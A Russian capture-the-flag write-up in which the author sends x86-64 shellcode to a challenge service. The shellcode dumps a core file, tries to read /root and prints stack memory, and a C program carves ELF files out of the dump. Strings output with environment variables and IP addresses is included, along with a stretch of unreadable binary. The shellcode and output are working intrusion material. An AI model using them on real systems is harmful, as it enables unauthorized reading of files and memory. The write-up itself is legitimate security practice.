00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Далее я захожу на сайт
Ссылка скрыта от гостей
и смотрю как отобразиться hex в ascii.
Код:
��������.����u�������������..�U���������������core�Hޟ������������task��������xձ������������/����xձ��������U���-���U��@�V��/h��#L�/������������������������������������������������WR���������@�V���ձ�����-���U����V�����������������������U��pձ�����������������������U��hձ������������������߱������������"߱����8߱����C߱�����߱�����߱�����߱�����߱�����߱�����߱������������!��������й���������������������������������������d��������������@U���������8��������������
���������������@�V����������������� ������������U��������������������������������
����������������������������������������������������ױ���������������������������߱�����������)ױ�������������������������WR�D�P��?�x86_64���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Код:
section .text
global _start
_start:
xor rax, rax
mov cl, 18
cycle:
push rax
dec cl
cmp cl, 0
jne cycle
mov al, 4
mov rdi, 0x65726f63ffffffff
shr rdi, 8 * 4
push rdi
lea rdi, [rsp]
lea rsi, [rsp + 8]
xor rdx, rdx
xor r9, r9
syscall
xor rdi, rdi
inc di
lea rsi, [rsp + 8]
mov rdx, 144
mov al, 1
syscall
Код:
01 00 30 00 00 00 00 00 ed db 14 02 00 00 00 00 01 00 00 00 00 00 00 00 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 00 00 00 00 00 10 00 00 00 00 00 00 08 01 00 00 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 43 24 1d 66 00 00 00 00 40 70 10 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Смещение размера файла находилось на смещении 48.
434176 - размер файла core. Теперь нужно было скачать его. Я написал шелл, который должен был скачать этот файл.
Код:
section .text
global _start
_start:
mov rbp, rsp
xor rax, rax
mov al, 2
xor rdi, rdi
push rdi
mov edi, 0x65726f63
push rdi
lea rdi, [rbp - 16]
xor rsi, rsi
syscall
mov [rbp - 16], rax
mov cl, 16 + 4
cycle:
push rax
dec cl
jne cycle
mov ecx, 434176
copy:
mov rdi, [rbp - 16]
lea rsi, [rsp]
mov rdx, 128
xor al, al
syscall
js end
mov r8d, eax
mov al, 1
mov rdi, rax
lea rsi, [rsp]
; mov edx, r8d
syscall
sub ecx, r8d
jne copy
end:
Таким образом я выкачал файл core с избыточными данными. Выполнив strings для нашего файла, который я отсек до размера, которым он соответствует, я нашел.
Код:
xverizex@localhost:~/codeby> strings out.core
[CODE]
kIwU
CORE
2kIwU
CORE
task
/app/task
IGISCORE
CORE
ELIFCORE
/app/task
/app/task
/app/task
/app/task
/app/task
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
CORE
////////////////
Enter your shell
LINUX
////////////////
Enter your shell
/lib64/ld-linux-x86-64.so.2
mgUa
__cxa_finalize
fgets
mprotect
__libc_start_main
stdout
fflush
stdin
getpagesize
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Enter your shellcode:
:*3$"
GET / HTTP/1.1
Enter your shellcode:
GET / HTTP/1.1
From: bingbot(at)microsoft.com
Host: 62.173.140.174
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
kIwU
V<- N
$ ($
@h &
lA@1
*0"
b"R$
h Pt@
@T@r
WDH",b
%;@
@@!B
gT DA
RPU B
0T;8B
*v$&t
!@ d
CAk[S
kIwU
2kIwU
3kIwU
2kIwU
2kIwU
2kIwU
2kIwU
2kIwU
BkIwU
BkIwU
"kIwU
"kIwU
"kIwU
"kIwU
"kIwU
2kIwU
"kIwU
2kIwU
0mIwU
/lib/x86_64-linux-gnu/libc.so.6
libc.so.6
/lib/x86_64-linux-gnu
libc.so.6
sBjC(
_rtld_global
_dl_audit_preinit
_dl_find_dso_for_object
_dl_exception_create
__libc_stack_end
_dl_catch_exception
_dl_fatal_printf
_dl_audit_symbind_alt
_dl_deallocate_tls
_dl_signal_exception
__tunable_get_val
__libc_enable_secure
__rseq_offset
__tls_get_addr
_dl_get_tls_static_info
_dl_exception_free
_dl_debug_state
_dl_argv
__rtld_version_placeholder
__nptl_change_stack_perm
_dl_allocate_tls_init
_rtld_global_ro
_dl_rtld_di_serinfo
_dl_x86_get_cpu_features
_dl_mcount
__rseq_flags
_dl_allocate_tls
__nptl_initial_report_events
_dl_signal_error
_dl_exception_create_format
__rseq_size
_r_debug
_dl_catch_error
ld-linux-x86-64.so.2
GLIBC_2.2.5
GLIBC_2.3
GLIBC_2.4
GLIBC_2.34
GLIBC_2.35
GLIBC_PRIVATE
glibc.rtld.nns
glibc.elision.skip_lock_after_retries
glibc.malloc.trim_threshold
MALLOC_TRIM_THRESHOLD_
glibc.malloc.perturb
MALLOC_PERTURB_
glibc.cpu.x86_shared_cache_size
glibc.pthread.rseq
glibc.mem.tagging
glibc.elision.tries
glibc.elision.enable
glibc.malloc.hugetlb
glibc.cpu.x86_rep_movsb_threshold
glibc.malloc.mxfast
glibc.rtld.dynamic_sort
glibc.elision.skip_lock_busy
glibc.malloc.top_pad
MALLOC_TOP_PAD_
glibc.cpu.x86_rep_stosb_threshold
glibc.cpu.x86_non_temporal_threshold
glibc.cpu.x86_shstk
glibc.pthread.stack_cache_size
glibc.cpu.hwcap_mask
LD_HWCAP_MASK
glibc.malloc.mmap_max
MALLOC_MMAP_MAX_
glibc.elision.skip_trylock_internal_abort
glibc.malloc.tcache_unsorted_limit
glibc.cpu.x86_ibt
glibc.cpu.hwcaps
glibc.elision.skip_lock_internal_abort
glibc.malloc.arena_max
MALLOC_ARENA_MAX
glibc.malloc.mmap_threshold
MALLOC_MMAP_THRESHOLD_
glibc.cpu.x86_data_cache_size
glibc.malloc.tcache_count
glibc.malloc.arena_test
MALLOC_ARENA_TEST
glibc.pthread.mutex_spin_count
glibc.rtld.optional_static_tls
glibc.malloc.tcache_max
glibc.malloc.check
MALLOC_CHECK_
sse2
x86_64
avx512_1
i586
i686
haswell
xeon_phi
kIwU
glibc-hwcaps/x86-64-v3/glibc-hwcaps/x86-64-v2/tls/haswell/x86_64/tls/x86_64/
kIwU
IVATE
early_init
strnl
2kIwU
$B#A
Dsvx86_64
/app/task
HOSTNAME=aee83c5ed1a2
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=172.17.0.97
TCPLOCALPORT=8000
TCPREMOTEIP=40.77.167.45
TCPREMOTEPORT=56706
TCPREMOTEHOST=msnbot-40-77-167-45.search.msn.com
/app/task
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
Linux
Linux
%pmd
ATSH
[A\]
AUATS
[A\A]]
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0
.shstrtab
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_d
.dynamic
.note
.eh_frame_hdr
.eh_frame
.text
.altinstructions
.altinstr_replacement
.comment
Я написал вот такой shellcode.
Код:
section .text
global _start
_start:
mov cl, 14
cycle:
push rax
dec cl
jne cycle
mov al, 2
pop rdx
pop rsi
inc rsi
shl rsi, 16
mov rdx, 0x746f6f722fffffff
shr rdx, 8 * 3
push rdx
lea rdi, [rsp]
syscall
mov [rbp - 8], rax
mov edi, eax
lea rsi, [rsp + 32]
pop rdx
inc dl
shl dx, 9
mov al, 78
syscall
mov [rsp + 16], rax
mov al, 1
xor edi, edi
inc edi
lea rsi, [rsp + 32]
mov dx, 512
syscall
Потом меня посетила ещё одна идея прочитать .. каталог, но всё безуспешно. Также я пробовал /app каталог прочитать, но тоже ничего не получилось. Тогда я решил исследовать core файл. В нем хранилось несколько ELF программ.
Я решил написать программу, которая разделит эти elf файлы на части. Вот написанная программа.
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main (int argc, char **argv)
{
if (argc < 2) {
exit (0);
}
printf ("[+] Processing...\n");
FILE *fp = fopen (argv[1], "r+");
fseek (fp, 0, SEEK_END);
uint64_t size_file = ftell (fp);
fseek (fp, 0, SEEK_SET);
uint8_t *data = malloc (size_file + 1);
data[size_file] = 0;
fread (data, 1, size_file, fp);
fclose (fp);
FILE *out = NULL;
uint8_t *s = data;
int num_file = 0;
char filename[512];
while (1) {
/* cheching elf */
if (
*(s + 0) == 0x7f &&
*(s + 1) == 'E' &&
*(s + 2) == 'L' &&
*(s + 3) == 'F') {
if (out) {
fclose (out);
}
snprintf (filename, 512, "%d.elf", num_file++);
printf ("[+] %s\n", filename);
out = fopen (filename, "w");
}
fwrite(s, 1, 1, out);
s++;
if (size_file == 0)
break;
size_file--;
}
fclose (out);
}
Код:
0.elf 1.elf 2.elf 3.elf 4.elf 5.elf main.c makefile out.core test
Я всё не мог понять. Задание вроде лёгкое, но я постоянно думаю не в том направлении. Что же можно ещё предпринять, чтобы найти флаг? Я решил посмотреть все строки у этих файлов и единственная годная информация была вот эта, но она ничего такого не говорила, так как порты фильтровались и доступа к ним не было.
Код:
xverizex@localhost:~/codeby/outcore> strings 4.elf
kIwU
IVATE
early_init
strnl
2kIwU
$B#A
Dsvx86_64
/app/task
HOSTNAME=aee83c5ed1a2
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=56706
TCPREMOTEHOST=msnbot-40-77-167-45.search.msn.com
/app/task
Иногда порывались мысли о том, чтобы спросить в телеграм группе о подсказке, но мне казалось, если я так сделаю, то буду чувствовать себя неуверенно. Потому что вроде знания есть, а я не могу справиться. Я был из-за этого недоволен, но немного, так как интерес к самой задачке мне нравился и я постоянно думал о ней, даже когда гулял. Уж так она запала в мои мысли, надеюсь мне будут сниться хорошие сны. Нужно было обдумать что ещё можно исследовать. В каталоге вроде как два файла всего, в переменных окружения нет ничего такого. Откуда читать флаг? )) Мне пришла ещё одна идея попробовать прочитать root директорию, не HOME=/root, а /. Но ничего не вышло. Удаленный сервер ничего не возвращал в ответ, так что нужно было думать дальше. Я даже попробовал простой ret вставить, чтобы выйти и продолжить выполнение программы дальше, но из этого тоже ничего не вышло.
Далее я сделал более совершенный считыватель стека, чтобы посмотреть переменные окружения.
Код:
section .text
global _start
_start:
mov rbp, rsp
mov rsi, rsp
cycle:
mov rdx, 1
mov rdi, 1
mov rax, 1
syscall
inc rsi
jne cycle
Код:
xverizex@localhost:~/codeby> strings log.out.stack
G".=
@P.=
_^Ax
_^Ax
x86_64
/app/task
HOSTNAME=5e7b577b1006
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
PWD=/app
PROTO=TCP
TCPLOCALIP=[здесь ip]
TCPLOCALPORT=8000
TCPREMOTEIP=[здесь ip]
TCPREMOTEPORT=47148
/app/task
bemX
__vdso_gettimeofday
__vdso_time
__vdso_clock_gettime
__vdso_clock_getres
__vdso_getcpu
linux-vdso.so.1
LINUX_2.6
PWD=/app. HOME=/root. В голове пусто. Надо ещё один вариант проверить, который пришел мне в голову. Попробовать записать данные в этот каталог. Получиться ли создать файл? Если такое получиться сделать, то можно переписать task, чтобы при следующем запуске выполнилась наша программа. Но размер поступающих данных ограничен 88 байт. надо постараться что-то придумать. Хотя ладно, записать файл в каталог, а что делать дальше? Если task переписать, то тоже неплохо, но я не думаю, что так решается задача. Запись файла в каталог не буду пробовать. Я думаю, что здесь надо было просто правильно shellcode прописать, видимо я неправильно прописал execve. Может поэтому не сработало, но в конце концов я и этот момент тоже изучу. Всё-таки я склоняюсь к тому, что не правильно сделал execve. Задача была простой, и я пока не справился. Чтож, продолжу выполнения уже без описания моих дальнейших действий.
Спасибо за внимание.